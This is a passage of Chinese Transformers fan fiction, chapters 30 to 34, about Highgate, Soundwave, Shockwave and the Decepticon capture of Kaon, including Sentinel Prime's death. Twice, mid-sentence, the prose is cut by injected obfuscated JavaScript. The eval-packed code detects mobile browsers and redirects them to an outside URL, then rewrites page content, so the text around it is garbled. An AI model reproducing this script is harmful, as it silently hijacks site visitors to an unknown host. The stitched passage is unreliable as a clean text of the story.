做完这一切后,他又将旁边的控制器拆开,定位到自己体内的芯片,同样将其取了出来。 “你是打算报复他,让他为你效力吗?”海格特问。 “战时情况:资源紧缺,不能浪费。” 声波毫无感情地说着,检查起刚刚被塞进机械蝙蝠体内的蝙蝠精。 “激活成功了。”海格特说,“他的火种还在正常运转,没有什么变化,你的操作很成功。” 就在不久前,威震天让他跟着声波行动,可能是觉得声波能从他这里获得更多情报,也可能是用最信任的眼线监视他,无论如何,海格特照做了这个指令。 “和轰隆隆他们不一样,我跟在你旁边能做的也只有旁观而已。”他说,“他要失望 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说到这里,海格特突然注意到信号屏蔽已经解除,旁边刚刚处于连接状态的通讯器又接上了,发出一阵嘈杂的电子音。 随后,从那断断续续的联络声中传出了成型的词句。 “……是你吗?我听到你的声音了。” 听见这个声音的海格特没有做出表情,他只是直直看向声波。 你故意的。 用充满审视的眼神表达着这样的含义。 但后者装作没看到,一言不发地收起信号屏蔽器,继续导入起环轨行省数据资料。 于是海格特走向通讯器,伸手就打算把它关掉。 “我听说你加入霸天虎的消息,”震荡波的声音恳切,“不管你现在要去做什么,快停下来好吗?” “我不会做什么。”他说,“你应该清楚,这双手除了摇晃火种培育篮之外什么都做不到……我也不会加入霸天虎,只是暂时留在卡隆。” “如果你需要庇护所,我这里——” “不可能。” —— 斯坦尼克斯地区,尤斯镇,一家侦探事务所内。 震荡波放下已经无法打通的通讯器,叹了口气。 “他挂了。” “话说我好像见过你。” 眼前蓝黄色涂装的塞伯坦人摸着下巴打量他,努力从记忆数据库里搜索着什么,片刻后他一敲手掌。 “啊,你是那个还欠我一个解答的家伙。” “他挂了。”震荡波一手捂起脸。 ……你是来找我演苦情癌剧的吗?夜巡刚想抗议,但马上意识到什么。 “刚刚跟你打电话的就是那个当年在地下的机密人物?” “嗯,我会告诉你他的事情,但你需要帮我找一个人。” “有更多信息吗?” “有。”震荡波说,“他叫钛师傅。” “你是说那个塞伯坦最著名的哲学家博物家以及知识分子和穿越锈斑区的世界级专家,将领导模块给了镇天威的那位大师?你要找他做什么……” 夜巡的光学镜闪烁几下,然后得出了一个答案。 “领导模块,是啊为什么不呢,被流放的逆天劫就没有领导模块,那新的怎么可能有呢。” 他喃喃着。 “好吧,这下可不太妙了。” 31.第三十一章 曾经宏伟的住宅废墟内,椅子上坐着已经不再动弹的两具碎铁。 其中一方胸甲被残忍地撕裂,内部金属结构展露在外,烟尘从被破坏的窗户外飘进来,在上面落了一层灰。 火种不见了。 海格特在房间的一角找到了它——如同被压死的石油兔子一样变得扁平。 这里曾经有人抱着就算引起爆炸也无所谓的暴怒,将它对着墙扔了过去,但什么也没发生,在那面灰色的金属墙壁上,只鲜明地残留着火种滑落的拖痕。 显然,它在被扔出去前就熄灭了。 海格特沉默着捡起这颗已经看不出原型的火种,然后听见身后传来一个声音。 “呃……” 那是这里的另一个受害者。 他的发声器被切开了,音频管线漏在外面,发出一阵阵毫无意义的电子音。 但海格特听得出来,他在求救。 那颗火种在遭遇袭击时应该是陷入了类似软终结的状态,现在奇迹般地恢复了一丝光亮,于是驱动残破的机体,试图向这里唯一一个还能活动的存在求助。 “想让我帮你吗?” “咔……” 他的机体已经损毁到一定程度,还伤到了变形齿轮和火种,哪怕救护车本人就在这里,也不一定能把人救回来。 “我可以救你。”海格特看着他的光学镜,温和地开口,“作为条件,你需要告诉我通往地下的密码,用内线传输。” 片刻后,将这颗一息尚存的火种收好,他看向窗外战火过后满目疮痍的街道,还有那灰蒙蒙的烟尘。 狄西莫斯应该已经找过御天敌,但后者完全没在乎海格特的威胁,他没有去找领导模块,只是回到卡隆的指挥中心。 战争还是开始了。 在御天敌直接而残酷的命令下,民众几乎没有撤离的机会,整个塞伯坦几乎化为一座巨大的斗兽场,所有人都在拼命追逐自己的欲望。 就像元老院曾私下里给人排列危险名单那样,霸天虎也开始针对议员和高官陆续进行袭击,排序的依据是他们的怒火和憎恶。 原本空中小队打算找个机会在参议院将议员一网打尽。(“我参过政,那里几乎都是些以为掌握数字就能掌握星球的蠢货,到时候给元老院捅个窟窿,一个个就只会呆坐着等死了。”——红蜘蛛言) 然而不知道是谁通风报信,红蜘蛛的诈降计划没有成功,并且一些议员像是得到了消息,开始有意地隐藏自己。 海格特同样拒绝为杀戮提供位置信息。 但这无法阻止霸天虎和民众的怒火,有个别议员甚至是被自己的安保人员出卖了位置。 在刺杀计划正式开始之后,他就暂时离开了霸天虎。 名义上的理由,是他要循着袭击的痕迹,在城市间搜寻回收遭遇不测的火种。 对霸天虎来说,这也避免了他们的仇人突然“复活”的可能,又或许他们并不在乎海格特的行动——毕竟他也不可能加入汽车人,花时间对付一台无法被杀死的机器只会白白浪费兵力。 无论如何,目前还没有人来找他。 而实际上,海格特行动的理由不只是回收火种。 “嘀嘀。” 随着将刚刚找来的ID卡流畅地划入卡槽,输入密码,读卡机上小小的发光二极管由红转蓝,通往地下的门缓缓打开。 在这下面—— “……” 是一片专门制造非法高压电子增速器的流水线。 大概是战时情况特殊,又或者是出于隐蔽,它目前处于停工状态,没有任何人呆在里面,只是工厂的灯还亮着,一堆半成品堆在里面。 海格特扫了几眼,忍不住皱着眉叹了口气。 往好处想,他现在知道了楼上两个涂装光鲜亮丽的参议员被如此残忍杀害的理由。 但这样一来,自己想找的东西还是毫无线索。 四下转了几圈,确认这里就是最深的地底,也没有隐藏起来的暗门后,海格特毁掉了制造终端,然后选择离开。 在转身时他注意到附近有个火种,但下一秒,视线就被远处一片异常的情况吸引过去——有一批长期停留原地,几乎被他遗忘在视野中的火种忽然开始异常活跃地移动。 没记错的话,那个方向是卡隆的安保总部。 火种的移动只能表明,就在刚才,所有的罪犯都突然被无端释放。 想到这里,海格特没有多犹豫,迅速离开了地下。 他不认为御天敌会展开群众疏散,跟着御天敌的警车也不会——或者说,他大概率已经无力分心去处理暴动之外的事。 眼下能够自由行动,尽可能去减少伤亡的人。 恐怕只有自己了。 —— ———— 声波面前的屏幕上亮着一条消息:一分钟前,御天敌公开宣称要去鼎峰拿自己的战斗装甲。 解放囚犯的暴乱激怒了他,让新领秀做出了傲慢至极的宣战。 也正因为这种残酷、傲慢而磊落的行事作风,一切试图迂回的计谋都变得毫无意义,他身边的副官肯定已经为此焦头烂额。 毕竟谁都看得出来,威震天所期待的正是一场在暴力上的纯粹比拼,和一个已经改造过无数次,满腔怒火的角斗场暴君正面对战,御天敌未必能占多少便宜。 声波早已为这场战斗做足准备,他计算了卡隆的每一条路线、每一个可能的进出点,甚至为空中部队提供了精确的风向与电磁波数据。 无论如何,都要确保霸天虎赢下这第一场战斗。 就在确认好最后一项数据时,他收到了来自激光鸟的消息。 “我已经撤离,”她的声音带着疲惫,“差点就被发现了,这活不是人干的,要一直藏在他视觉死角观察,连掩体都没用,只能一直飞来飞去。” “激光鸟:时间紧急,汇报情况。” “好的,”激光鸟灵活地绕过一栋栋残破的建筑,振翅向前,“海格特的确不是去哀悼的,我看不出悲伤或者愤怒的痕迹,但在前往参议员那里之前他还去过三个设施,分别是……” 声波听着她的汇报,沉默片刻,最后下达了新的指令。 “前往卡隆,与其余磁带部队汇合。” “卡隆?等一下,我不是说不想去正面战场吗?” 声波没有理会她的抗议,直接切断了通讯。他迅速检查了周围的信号屏蔽器,再三确认运转无误后,启动了一条特殊线路。 联络迅速就通了。 如果自己联系这个人的事 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“我只将袭击的事情告诉了顶天者。”震荡波说,“据我所知,他并不是你们要报复的那种腐败议员,如果你还没有被残暴冲昏头脑,就应该知道这一点。” “否定,理由不充分。” “要是顶天者的正义感和良知促使他将消息透露给其他人,我也没办法。你可以在下次见面时用读心能力听一听,或者找那些还没有被你们杀死的议员问一下。” 声波的光学镜迅速闪烁分析,算是暂时接受了这个说法。 “分析完毕。海格特能力范围:无法屏蔽非塞伯坦人意识的其余电子设备。能力特征:数据传输量巨大,能量消耗极低,近似脑模块数据占用模式。 根据波形测算,结论:一种特殊数据上传行为。” “上传……果然是这样。” 对面的声音忽然听上去有些激动,像是一直以来的猜想得到映证。 “那不是什么emp,他的能力本质上是一种数据中继站,是意识上传。” 海格特的能力并不能夺走意识,那些昏迷的人是暂时被上传到了别的地方,只剩一具空壳。 所以虽然火种没有熄灭,但基础的神经皮层反应却消失了,而且无论通过什么医疗手段都无法唤醒。 只有等到上传结束,意识被传输回来才会自己醒来。 那眼下就只剩下一个问题: “提问:意识被上传至何处?” “好问题,我想那一定是个巨大到能储存塞伯坦人意识的储存器。” 这明显是拒绝回答的意思。 “与他正在寻找的地下设施有关。”声波略作思考,很快有了答案,“——‘至高之门’。” 虽然他看不见对方的表情,但此刻,震荡波大概是在笑着的。 “如果你看过那些光谱教信徒的言论,就应该知道,同一个真理往往可以用双重形式表述——理性和启示。”他不紧不慢地说,“无论人们想在海格特身上得出什么真相都是毫无意义的,比起真相本身,赋予真相以的意义才是现实。” “……你是要造神?” “不,正相反。” 无论他前面说了什么,至少现在这句话是真诚的—— “我要让他看到奇迹,成为真正的人。” 32.第三十二章 警车今天第三次忍住了掀桌的冲动。 他双手撑在控制台上,耳机里充斥着求援信号,屏幕上实时刷新着各点位战况。各类光线在光学镜里交错,闪得人都快患上电子癫痫。 安保部队的副官干脆闭上眼,试图从混乱的战局中找到一丝突破口。 霸天虎正在同时从卡隆的数个方向发起进攻,目的再明显不过:集中火力一举夺取卡隆。 他们和正规军队的最大差距就是资源,如果短时间内没能成功,让安保部队喘过气来找到反击机会,就会全线崩盘。 所以安保部队这时候应该尽可能拉长战线,转移兵力再逐个击破——而警车也是试图这么做的。 但偏偏在这种关键时刻,御天敌不在场。 那位我行我素的领袖不顾元老院和副官的劝阻,直接一炮轰开了鼎峰的大门扬长而去,连指令都没留下一条。 警车焦虑得几乎要抓狂。 不仅是因为他要在没有军政首席、没有诸多权限的情况下应对霸天虎的进攻——更重要的是,他担心汽车人安保部队,或者说塞伯坦中心政权的声望从此一落千丈。 无法维持秩序,无法迅速击败霸天虎,甚至在这个民众最需要保护的时机连领袖都消失不见,要是失去民心,那么后续就算赢下战争也麻烦了。 “该死,他到底在想什么……” 警车忍不住在心里骂了一声,同时思考起该如何挤出一些兵力出去展开营救。 但是要他怎么做呢?在输掉卡隆和牺牲惨重之间做选择吗? 这真的是他担得起责任的事? 就在这时,前线突然传来一条消息:有人组织起了救援,并且已经成功让大批民众转移到卡隆之外。 这让警车感到一丝希望。 大概是某种民间自反应单位进行的组织。他脑海里闪过几个可能性。无论如何,必须立刻与对方联系,给予一些“官方支持”,不只是为了挽回声望,他自己也想尽可能减少伤亡。 这样想着,警车调出卡隆城内尚能运转的监控画面。 很快,他就看到一片隐蔽的废墟中,有一支队伍正藏在烟尘中缓缓前进。 站在末尾的那人大概就是组织者。 领袖副官调整监控的方向,直到队伍末尾的画面中一个熟悉的深色身影一闪而过。 那是海格特。 警车感觉火种都暂停了几秒。 他在做什么?以霸天虎的名义组织疏散,引发民众对暴徒的认知混乱……不,万一是在借机渗透卡隆的防御体系…… 无数可怕的猜想瞬间占满了他的逻辑电路,但几眼扫视过去,最后也没有在那台机体上看到霸天虎标志。 并且数秒过后,海格特忽然朝着某个方向望去,他像是发现了什么,吩咐了旁边的人几句,就没有多做停留,消失在混乱的城市战场中。 “……” 回过神时,警车发现自己居然松了口气。 紧接着,这种放松让他感到一阵难以言喻的愤怒。 就因为上次见面时遭遇袭击的冲击?还是因为那对光学镜过于恐怖的眼神留下了应激障碍?自己居然变得这么一惊一乍。 “……简直不可理喻。” 他咬着牙说了一句,调了几个人过去维持秩序,然后将所有的思维重新投入战线指挥中。 —— ———— 炮火轰鸣,时不时能看到能量光束划破烟尘。 卡隆的街道已经混乱不堪。 海格特刚才看到一颗有些眼熟的火种,于是将组织撤离的事情交给别人,朝着战场一侧赶去。 那是粒子城的警察奥利安·派克斯。 不用想也知道,这位正直勇敢的警官肯定是冲到最前线去了,从火种的状态来看,他现在情况很不好。 当海格特赶到的时候,甚至都没能在那篇废墟里直接看到奥利安——他只看到一条从建筑废墟中伸出来的手臂,而旁边一个黄色涂装的小型机正在喊着他的名字,试图把他挖出来。 “派克斯队长!……大哥!你还好吗!?” “他已经陷入静态锁死了,可能没办法回复你。” 几乎就在开口的瞬间,那个黄色涂装的塞伯坦人一改刚才慌张的神态,转身举枪对准了他。 火种中没有任何真实的攻击欲,抬枪也只是下意识的应激反应,这里尘埃未散,时不时有碎玻璃从旁边倾斜的大楼上落下,刚刚大概经历了一轮轰炸。 “别紧张。”海格特抬起双手,示意自己并无威胁,“我是来帮忙的。” “你……” “在被御天敌定义为罪犯前,我曾经是奥提雷克斯大学天火小队的人,和你也见过几次。” 他确实认识眼前这个小型机——名字叫大黄蜂,曾作为快递员与奥提雷克斯大学有过长期合作,经常兴高采烈地跟他们聊起罗嗦和其他竞速明星的表现。 如今那双光学镜中已经没有了热忱和快乐,只剩属于士兵的警惕。 “我有急救证,”海格特想了想,又补充道,“虽然可能已经过期了。” “……” 看着面色坦诚的海格特,大黄蜂犹豫了一下,也放下武器。 “谢谢你的信任。” “别误会,我还没有相信你,”侦察兵的声音听上去有些丧气,“但我不会用枪对着手无寸铁的人。” 真是个善良的人。海格特忍不住想。但他没有多说,眼下最重要的是救人。 过了一会儿,他们合力将陷入锁死的奥利安·派克斯挖了出来,就在将其抬到安全地带没多久,旁边的断壁轰然倒塌,压在刚才的位置。 “当时小队的其他人都在前线战斗,忽然就没有大哥的消息了。”大黄蜂疲惫地喃喃着,“通讯被切断,我实在不放心才回来看看……不对,我为什么……” 大概是第一次面对如此惨烈的情景,他看上去有点混乱。 “这是急性压力反应。”海格特说,“情绪信号和记忆模块会同时发出矛盾的指令,甚至会出现幻视和记忆闪回,这不是你的错,这是这种病的错。你现在需要做的是把派克斯警官带出卡隆寻求援助。” “离开卡隆?这不可能,我熟悉的路线都被霸天虎堵住了,他们不会放过任何人……” “霸天虎的目标是占领这座城市。” 海格特一边说着,一边检查奥利安的伤势——他在被挖出来后机体就为了节约电路消耗而自动回到载具模式,在施行拖拽前,必须进一步确认损伤。 “所以他们需要同时攻下总部大楼、新参议院、通信局和情报局,最初的轰炸只是为了制造混乱,延误安保部队的行动,而不是屠杀,现在大多数人已经开始集中到市中心去了。” “你是怎么知道这些?” “看出来的。”海格特指了指自己的眼睛。 而且如果自己看人没错,作为军事参谋的声波的确会采取这种策略,雷声大雨点小,他不是什么屠杀爱好者,起码现在不是。 大黄蜂似乎终于想起那些关于海格特能力的新闻,他微微睁大光学镜,思考了一会儿,又皱起眉。 “难道我们得把城市就这么拱手让给那群疯子……?” 理性上都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983018|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白,但他还是不甘心就这么离开。 “你们的其他队员不是还在战斗吗?”海格特说,“你熟悉城市的每一条路,可以找出更多安全的进出点,尽可能减少伤亡。” 大黄蜂沉默片刻,最后点了点头。 他本来跟霸天虎拼命的心都有了,被这么一说又冷静下来。 “谢谢。”他说,“你是个好人。” “我觉得领袖可不这么认为。” “和别人的看法无关,我会用自己的眼睛确认。” 思维清醒过后,大黄蜂先是试着联系其他派克斯小队的成员,但通讯受到阻碍,于是在向海格特确认了其他人还活着后,他只能拖着重伤的奥利安,又带上沿途看到的一批平民撤离。 然而就在半路上,空中隐约传来引擎的轰鸣。 “是那家伙……” 听见那不祥的声音,大黄蜂迅速变回人形,松开连接着奥利安的挂绳。 “他又绕回来了!” 刚才就是那架天蓝色涂装的霸天虎战机袭击了奥利安,他的速度快到甚至产生了音爆,将周围的玻璃纷纷震碎。 大黄蜂毫无迟疑地打算自己去吸引注意力,但在他开出去之前就有人拦住了他。 他不解地看着挡在路上的海格特,而后者只是抬头看向天空。 “来不及的,保持静默。” 其实从听到声音开始就已经来不及了,空中单位的速度本来就快,更何况是其中常态速度最快的几人之一。 只是这点时间里,那个身影就已经在半空停留,发现了他们。 但海格特并不紧张。 那颗火种,自从他之前在霸天虎基地中见到时,就一直摇曳着矛盾和犹豫。 果不其然,哪怕现在直接看到逃难的人群,对方也没有立刻发起进攻,而是神色复杂地向下俯瞰。 片刻后,才像是下定了某种决心般举起武器。 “轰——!” 巨响过后,烟尘弥漫。 “惊天雷,你在干什么?”红蜘蛛那带着不耐的声音从通讯器中传来,“怎么突然开始攻击建筑?我不是让你去做最后一轮侦查吗?” “没什么,顺手清理障碍。”惊天雷说,“里面好像有人,但看样子只是我看错了。” “呵,那就别在那发呆,赶紧来卡隆安保总部这里支援!该死,御天敌过来了!” “收到。” 他变形离开,紧随其后的战斗机群也跟着一起飞走,只留下被烟尘遮蔽踪迹的人群。 “他帮了我们?”大黄蜂有些不可思议地喃喃着,然后看向海格特,“你是怎么知道的?” “以后再感叹吧。”海格特将一个位置信息发给他,“还记得千斤顶吗?奥提雷克斯的发明家,现在在汽车人工程部门,他有办法帮助派克斯警官。” “好,谢谢你。” 大黄蜂收下消息,发现海格特转身要走。 “但你呢?你要去哪?” “我必须去找一个人。”海格特说着,忽然想起什么,“你有没有冷兵器?” “我有,”想起他手无寸铁,侦察兵没有多问,“给你。” 他递给海格特一把□□,后者道了谢,转身朝主战场的方向前进。 而在他转身前的一瞬间,大黄蜂似乎从那张平静温和的脸上看出一丝微妙的笑意。 但只是一转眼就消失不见,似乎只是个错觉。 刚刚那个词说什么来着,哦对,急性压力反应,记得还会导致幻视来着。 情况紧急,他无暇多想,立刻拖着重伤的奥利安离开了卡隆。 33.第三十三章 卡隆城内。 天空被战火污染成浑浊的黑色,空气中弥漫着铁匠铺和停尸间混合的气味,拥挤地堆叠出城市的哀鸣。 通信局已经失守,新参议院情况不明,情报局和安保总部还在苦苦支撑。 局势在失控的边缘游走,每次又堪堪卡在一个可以接受的范围。 霸天虎比想象中更有韧性,也更愤怒。 这种走钢丝般的体验持续了不知道多久,直到一道金红色的身影撕裂战场上的烟尘,出现在卡隆安保总部前的广场。 是御天敌。 见到领袖归来,人群中传来细微的欢呼,警车也跟着松了口气,他迅速恢复冷静,将目前的战局汇报给领袖,但还没多说几句就被对方打断。 “我要听的不是这些,告诉我那个叫威震天的——那个暴徒们的头儿现在在什么地方。” “长官,现在需要的是重新评估局势,”警车快步上前,“霸天虎的战术意图与预想中有28%以上的偏差,部队需要重新部署,我们最好向铁堡寻求援军。” “不需要,告诉我威震天在哪。” “抱歉,但您不能在不清楚他火力配置数据的情况下就——” “够了。” 金红色的领袖警告地看了他一眼。 穿戴了号称能比肩神明的鼎峰装甲后,他的体型几乎是原先的两倍,声音中的傲慢也化为更加不容置疑的威严。 “没看到霸天虎已经打到我们门口了?现在没空分析或者保持所谓的谨慎,如果你还没被吓破胆,就抓紧时间反击!” 领袖副官还想说些什么来劝阻,但御天敌已经转身,并且示意其他部队成员跟上。 望着那道背影,他感到一阵难以言喻的不祥。 长官的战术风格过于激进,也盲信于个体的武力强弱,在平日里镇压小规模的暴乱时还问题不大,但眼下…… “我不确定……” 警车喃喃着,试图忽略逻辑电路中测算的那些糟糕结果。他别无选择,只能回到自己的岗位,协助御天敌部署剩下的队伍。 一开始,战术非常奏效。 由于火力被增强到极点,战局变成了一边倒的碾压态势,御天敌带领部队迅速撕开防线,接连击垮几批敌人后,眼前出现的是一支配备了防护盾的霸天虎小队。 “砰!” 他一击轰了过去,但首次攻击的收获欠佳,盾牌屹立不倒,只是飞扬的砂石在那人没来得及躲藏的头雕上划过一道伤口。 “成功拦截了?” 有霸天虎这么说着,然而。 “轰——!!” 灼热的白光伴随巨响,下一个瞬间,在那名霸天虎脑袋上,碎石造成的伤口忽然不见了。 不,更准确的说法是—— 包括那道伤口在内,整个头颅连带着颈部,以及本应护住他们的长盾,都被一起轰碎消失,仿佛从未存在过似的。 尸体沉重地倒在地上,由于伤口边缘被高热淬成了焦黑,甚至没有能量液从中流出来。 “他不会再爬起来了。” 一片寂静中,御天敌轻描淡写地说完,给手臂上的武器再次充能,又嗤笑了一声。 “就是不知道,你们那些跟涡轮狐狸差不多的脑模块能不能理解现状。” 像是终于反应过来,几个霸天虎开始尖叫着往后跑去,在这昏暗的战场上,那台不可撼动的装甲就像是来自虚空地狱里的战争机器。 “长官。”汽车人侦察小组在通讯线路里对御天敌说着,“抵抗分子的头目在这里,正在朝您前进。” “知道了,原地等待。” 几乎是刚吩咐完,御天敌就看到了对方。 毕竟所有人都在逃,只有那个身影除外。 一台灰银色机体正在黑暗中逆着人群往前走,虽然装配了各类武器附件,但比起鼎峰装甲来说还是小了整整一倍。 那是最初的霸天虎、角斗士、暴徒、革命者……正在朝着他必须打败的敌人前进。 “这是这颗星球上最公平的一点。” 作为一场叛乱的发起者,明明心怀滔天怒火,威震天此时的声音却镇定得出奇。 “你通过暴力获得权力,那最后就会因为更强的暴力而毁灭。” “哼,你在自我预言吗?” 武器充能完毕,御天敌再次发起进攻。 强烈的冲击掀起砂土,瞬间,格外浓烈的烟尘翻滚四周,让本就欠佳的能见度变得更加有限,一切都只剩下模糊的轮廓。 御天敌觉得自己这一击应该是打中了,但经验告诉他事情还没结束。 他失去了目标的踪迹,环顾四周,发现不只是霸天虎,连安保部队的人也不见了。 “呼叫侦查小组,重整战线。” “……” 没有回应。 暗处传来接连不断的金属相击声,但分不出是来自哪里,御天敌面不改色,指名道姓地重复了一遍。 “呼叫侦查小组,探长,刷新目标点位!” 依旧毫无回应。 “重整……” “砰!” —— 自从通讯局失守后,卡隆就一直联系不上其他城市。 警车尝试了几条战时的秘密线路,在重新编译后,通讯员终于联系到了铁堡。 “谢天谢地,你们——” 通讯员还没来得及说完第一句话,天上就忽然传来一阵刺耳轰鸣,一架战机袭来,将什么东西丢在了联络点外,发出沉闷的巨响。 “那是什么?报告情况!” 最开始还有人冲过去查看,但在看清那被丢下来的东西之后,场面只剩下长久的静默。 “这里是铁堡……滋……你们是否需要援军?” 信号接触不良,声音断断续续地从通讯器对面传了过来,成为打破寂静的唯一动静。 于是警车把它接了起来。 要是领袖没有一意孤行,如果他听从规劝重整战线,多拖延一会儿……不,说到底,或许这种事是必然的。 自从御天敌成为领袖那日开始,这个结局就已经注定。 简直像一场漫长的噩梦。 过了很久,领袖的副官才找回自己的声音,摁下通话按钮。 “不需要援军了。” 他低下头去,努力让自己不去直视旁边御天敌惨烈的尸体。 “重新选个领袖吧,卡隆……就这样了。” —— ———— “在那之后,霸天虎占领了卡隆,新的参议院开始重组,最有可能成为新领袖的人……我记得叫泽塔。” 刀刃划开管线,撬开一道道精细的金属,发出清脆的声响。 “不过如果真的成为领袖,大概会改名叫竞天择吧。” 海格特说着,又切开一道坚硬的金属肌肉层,些许能量液撒了下来。 光线透过元祖大教堂的彩色玻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994895|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃窗洒落在他身上,也给那些因长期失去活性而变成深红的能量液镀上一层神圣的色彩。 最初的悼念仪式结束后,大堂就变得空无一人。 海格特独自站在安置着领袖遗体的平台前,怀着近乎虔诚的神情,俯身取下对方的脑袋,动作就好像他正在培育一颗火种那般平静。 明明是恐怖的场面,此刻却在那斑驳的光影中硬生生显得柔和。 “我很久没做这么精细的事,有点手生,不过你机体的那些部分理论上都已经废弃了,所以也没关系。” “咔……” 大概是切割工作开始接近发声器位置的缘故,海格特听见了一道极其细微的声响,但马上又像是怕被发现似地收了声。 “我提醒过你,”他捧着那颗头颅,低声说着,“不快点找到领导模块就会死,现在你的火种还未熄灭,但作为领袖的‘御天敌’已经不在。” 大部分民众将御天敌视为死在对抗霸天虎道路上的第一人,他成了牺牲的英雄,声望甚至比活着的时候还要高。 “嗯…所以如果你还能听见,能不能自己变形?我不想把这里的场面弄得太难看。” 这句话似乎起了作用,头和身体的连接处变得松动了,海格特用力破坏最后的管线,将御天敌的整颗脑袋拿下来,抱在手臂里,拂去上面的灰尘。 “微天星的后裔,头领战士……我还是叫你御天敌,你存在于你的过去之中,如果改变了名字,总觉得指代的就不是你了。” “你到底…想…做什么?” 说话了。 海格特愣了一下,然后他望着那个艰难发出声音的脑袋,忽然露出想起了什么。 “这一幕是不是有点眼熟?”逆着光线,他将御天敌的头颅高高举起,“当年在谢尔玛桥上,还记得吗?” 在信号模糊的视线中,御天敌看向那张平静的脸,他试图在上面捕捉到一些熟悉的东西,比如恨意、厌恶和愤怒。 但最后还是失败了,于是泄气地移开视线。 “你是为了找我复仇?那就快动手。” “哈哈。” “有什么可笑!?” “‘我没有跟机器对话的兴趣。’——这是谁说的来着?” “……” “所以你改变兴趣,开始喜欢机器了?那真令我高兴,感谢你的喜欢。” 或许是因为过度虚弱,他看见御天敌的火种有一瞬间被气得差点爆开。 好像有点逗过头了。海格特心想。 “虽然我的确有一点想报复你,但那大概算不上复仇。”他将御天敌放回平台上,“以后就跟着我行动吧,我会帮你找到修复身体需要的能量和材料。” “做梦!我不会听从于任何人!” “机器也不算人呀。” “……” “下线了……” 不能继续说话,有点遗憾。 但也没办法,毕竟受到了那样严重的机体损伤,剩下的能量都被用来保护头颅的关键结构,会陷入这样的境地也是当然。 “知道吗?愤怒、失望、还有无力感,这就是你死之后,警车的火种中所充斥的东西。” 海格特对着已经昏迷过去的御天敌说道。 “但他还是毫不犹豫地选择去追随下一任领袖,哪怕那个人看上去也会令人失望。这真的很有韧性,所以我也打算稍微再坚持一下。 说不定我们真的能相处愉快呢?” 34.第三十四章 库坦祖尔档案馆,某间档案室内。 空气中弥漫着灰尘的气息,当震荡波推开陈旧的金属大门时,发现里面没有灯光,只有一张桌上正亮着一个球型的AR投影,勉强照亮旁边昏暗的空间。 他愣了一下,几乎立刻就认出来那投影的形态——正是那个位于地底,无法被感知,曾经震撼到自己的巨型装置。 “……” 淡蓝色的荧光随着投影的旋转而起伏,又在某一个瞬间忽然变得黯淡。 “好像接触状态不是很好,”震荡波忍不住走上前去,低声喃喃,“要不要拍一下?” “停手,你是原始时代的人吗?” 就在震荡波动手前,角落里传来一个严厉的声音叫住了他。 “现在的投影终端都十分精密,你以为我花了多久才做出那个投影?要是感觉接触不良,轻轻吹一下灰就可以了,别动手。” 伴随着书架间数据板归位的声音,震荡波这才注意到那里坐着一个人影。 “抱歉。”他从善如流地收回手。 “啊,我还以为是谁突然来访呢。” 那人不紧不慢地说。 “哲拉萨斯的学徒,既然你找过来,就回答我的问题——你既知道那个东西作为机器的本质,为什么还是像对待人类那样与他建立各种关系?这是你逃避现实的方式,还是间接说明了技术的精妙?” “……我只知道,之前准备的客套话都用不上了。” 震荡波对问题避而不答,故作无奈地笑了一下,然后神色尊敬地看向声音发出的方向。 “钛师傅。” 气质沧桑的塞伯坦人坐在那里,他面甲上蒙着一层老旧的金属织物,涂装显得非常老旧,但那双眼睛依旧散发出锐利而智慧的光。 只是呆在那,就足以让人想起塞伯坦的古老历史。 “之前见到您还是两百万年前,”震荡波郑重地说,“在镇天威成为领袖的仪式上,您将领导模块给了他,并赐予他祝福。” “上来就提我最后悔的一件事,看来你对我刚才的说法并不服气。” “这怎么敢。” 钛师傅似乎是发出了一声笑:“无所谓,你明白我的意思,你也可以继续逃避问题。” “……” “这个话题就暂且略过,我知道你是为了别的事而来,这年头,人们只有在碰上解不开的谜题时才会想起老人家。” 然后他一边抱怨着一边站起来,向桌上亮起的投影走去。 “虽然追查到我的行踪不是难事,但你是怎么说服这里的警卫放你进来的?” “我有全塞伯坦最好的谈判专家。”震荡波指了指身后某处。 “是侦探。” 夜巡从档案堆里伸出一只手,比起面见钛师傅,他似乎有其他更感兴趣的内容,显然已经被吸引到根本无心遵守礼仪。 而不拘小节的十三元祖也不在意这一点,只是点了下头,就转而指向桌上的装置。 “回答我的问题,你觉得这是什么?” “是我的朋友海格特原本的样子。” “Highgate,‘至高之门’。”钛师傅念着这个名字,走到长桌的另一端,翻着几个数据板,“我最近也在调查它,但在镇天威一行人发现地下的这个装置之前,这颗星球上从未出现过关于它的记录。” “那这个是……” “你眼前的投影,是我在方舟一号起航那天恰好通过特殊方式观测并做出来的,之后它就回到地底了。” 钛师傅说着,伸手触碰眼前的投影,将其放大。 “门,用于分隔或连接空间的工具,作用是连通与隔离,这是人尽皆知的常识。好了,现在告诉我你看到的东西,你觉得它像什么?” “当然是…一只巨大的光学镜。” “这就是最古怪的地方,它这个样子应该叫至高之眼才对,何以称‘门’?这扇‘门’到底连接着什么地方?它的起名者到底是有别的深意,还是漫不经心?” “我不知道。” 震荡波坦然回答,然后他看向钛师傅。 “您或许会怀疑这是吾师哲拉萨斯的自导自演,但我发誓,事情真的不是那样。” 然而闻言,古老的十三元祖只是摇头:“我以前那样想过,但哲拉萨斯的作品都过于冰冷无情,如果这台装置是他做的,塞伯坦在两百万年前就会遭殃吧。” “遭殃?听上去您认为它会带来灾难。” 